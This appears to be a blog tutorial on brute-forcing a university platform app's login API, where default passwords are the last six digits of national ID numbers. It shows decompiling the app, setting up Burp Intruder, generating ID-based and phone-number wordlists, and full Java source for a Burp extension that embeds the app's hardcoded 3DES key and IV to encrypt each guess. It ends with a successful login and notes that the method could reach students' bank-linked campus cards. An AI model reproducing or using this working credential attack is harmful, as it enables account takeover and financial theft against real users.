Introduction
Our campus network has officially gone into operation, but the username/password policy is still a default-password scheme: the password is the last six digits of the national ID number. For any platform that uses single sign-on (SSO), this is extremely dangerous.
For example, if a university’s student IDs are publicly accessible online and the password is the last six digits of the ID number, then once you log into their campus card system you might be able to spend money from a student’s linked bank account.
My school uses CAS to implement SSO, which makes brute-forcing inconvenient. So instead, I brute-forced via the platform app’s API.
Prepare
Environment:
- OS: Arch Linux
- Kernel: x86_64 Linux 4.9.8-1-ARCH
- Shell: zsh 5.3.1
- DE: KDE5
- IDE: IntelliJ IDEA 2016.1
- JDK: 1.8.0_121
- Build Tool: Gradle 3.3
Quick learning: the API
Interfaces you need to implement
IBurpExtender
All extensions must implement this interface. The implementation must be declared public and must provide a default (public, no-argument) constructor.
All extensions must implement this interface. Implementations must be called BurpExtender, in the package burp, must be declared public, and must provide a default (public, no-argument) constructor.
IIntruderPayloadGeneratorFactory
Payload generator factory, used to provide payload generator instances.
Extensions can implement this interface and then call IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() to register a factory for custom Intruder payloads.
IIntruderPayloadProcessor
Payload processor, used to process incoming parameters.
Extensions can implement this interface and then call IBurpExtenderCallbacks.registerIntruderPayloadProcessor() to register a custom Intruder payload processor.
Commonly used interfaces / methods
IExtensionHelpers
This interface contains many helper methods for common tasks in Burp extension development.
This interface contains a number of helper methods, which extensions can use to assist with various common tasks that arise for Burp extensions. Extensions can call IBurpExtenderCallbacks.getHelpers to obtain an instance of this interface.
registerExtenderCallbacks
This method is invoked when the extension is loaded. It registers an instance of IBurpExtenderCallbacks, which provides many commonly used operations for plugin development.
This method is invoked when the extension is loaded. It registers an instance of the IBurpExtenderCallbacks interface, providing methods that may be invoked by the extension to perform various actions.
IIntruderPayloadGenerator
This interface is used for custom Intruder payload generators. When starting a new Intruder attack, your extension registers an IIntruderPayloadGeneratorFactory and must return a new instance implementing this interface. This effectively registers your plugin as an Intruder payload generator.
This interface is used for custom Intruder payload generators. Extensions that have registered an IIntruderPayloadGeneratorFactory must return a new instance of this interface when required as part of a new Intruder attack.
Start
Using Intruder
Download the app, extract the DEX, convert it to a JAR, then analyze the encryption algorithm inside:
dex2jar mportal.dex
jd-gui mportal.jar
The analysis process is described in a previous post:
Reverse Engineering a Campus Android Platform App
First, use Burp Suite to capture the login request. Press Ctrl + I to send it to Intruder. Then add payload markers to the value after action (i.e., wrap it with § markers).

Switch to the Payloads tab and set the type to Custom iterator.

Then, based on what you found during decompilation, construct the plaintext that will be fed into the payload generator:
Position1: method=checkUserLoginIFS&idNumber=
Position2: Student/staff ID is 20135120100314
Position3: &UserPwd=
Position4: Import your password dictionary here
Position5: &logonIP=8.8.8.8
Preparing the wordlist
Besides weak passwords, you should also add a bit of social engineering. The default platform password is the last six digits of the national ID number.
We used crunch to generate the last six digits of the ID number, and put candidates containing X at the end.
We also included the school’s landline phone numbers. They were available for download from the official source, so there was no need to generate them ourselves.

Writing the extension
I didn’t use a payload Generator here, because I brute-forced using a pre-generated wordlist. If you want to generate values in code, you can implement the Generator interface.
BurpExtender.java
package burp;
public class BurpExtender implements IBurpExtender, IIntruderPayloadProcessor
{
private IExtensionHelpers helpers;
@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks)
{
// obtain an extension helpers object
helpers = callbacks.getHelpers();
// set our extension name
callbacks.setExtensionName("Neusoft DCP");
// register ourselves as an Intruder payload processor
callbacks.registerIntruderPayloadProcessor(this);
}
@Override
public String getProcessorName()
{
return "NeusoftDESEncode";
}
@Override
public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue)
{
String dataParameter = helpers.bytesToString(currentPayload);
EncryptData enc = new EncryptData();
return helpers.stringToBytes(enc.encrypt(dataParameter));
}
}
EncryptData.java
package burp;
import java.io.IOException;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;
public class EncryptData
{
private static EncryptData SingleEncryptData = null;
byte[] encryptKey;
DESedeKeySpec spec;
SecretKeyFactory keyFactory;
static SecretKey theKey;
static Cipher cipher;
static IvParameterSpec IvParameters;
public static EncryptData getInstance()
{
if (SingleEncryptData == null) {
SingleEncryptData = new EncryptData();
}
return SingleEncryptData;
}
public EncryptData()
{
try
{
try
{
Cipher localCipher = Cipher.getInstance("DESede");
}
catch (Exception e)
{
System.err.println("Installling SunJCE provider.");
}
this.encryptKey = "neusofteducationplatform".getBytes();
System.out.println(this.encryptKey);
this.spec = new DESedeKeySpec(this.encryptKey);
this.keyFactory = SecretKeyFactory.getInstance("DESede");
theKey = this.keyFactory.generateSecret(this.spec);
cipher = Cipher.getInstance("DESede/CBC/PKCS5Padding");
IvParameters = new IvParameterSpec("01234567".getBytes());
}
catch (Exception localException2) {}
}
public static String encrypt(String rawString)
{
byte[] encryptedString = null;
try
{
cipher.init(1, theKey, IvParameters);
byte[] plaintBytes = rawString.getBytes();
encryptedString = cipher.doFinal(plaintBytes);
}
catch (Exception localException) {}
return byteToHex(encryptedString);
}
private static final byte[] HEXBYTES = { 48, 49, 50, 51, 52, 53, 54, 55, 56,
57, 97, 98, 99, 100, 101, 102 };
private static final String HEXINDEX = "0123456789abcdef0123456789ABCDEF";
public static String byteToHex(byte[] b)
{
int len = b.length;
char[] s = new char[len * 2];
int i = 0;
for (int j = 0; i < len; i++)
{
int c = b[i] & 0xFF;
s[(j++)] = ((char)HEXBYTES[(c >> 4 & 0xF)]);
s[(j++)] = ((char)HEXBYTES[(c & 0xF)]);
}
return new String(s);
}
}
Build the extension JAR and import it
The project uses Gradle. Running the following in the project directory will output a JAR to the specified directory:
gradle task fatJar
output: build/libs/IntruderPayloads-all.jar
Add the extension under the Extender tab and verify it loads correctly:

Select the extension we wrote under Payload Processing:

To save time and make testing easier, I added several incorrect passwords and one correct password. You can see the successful result below:
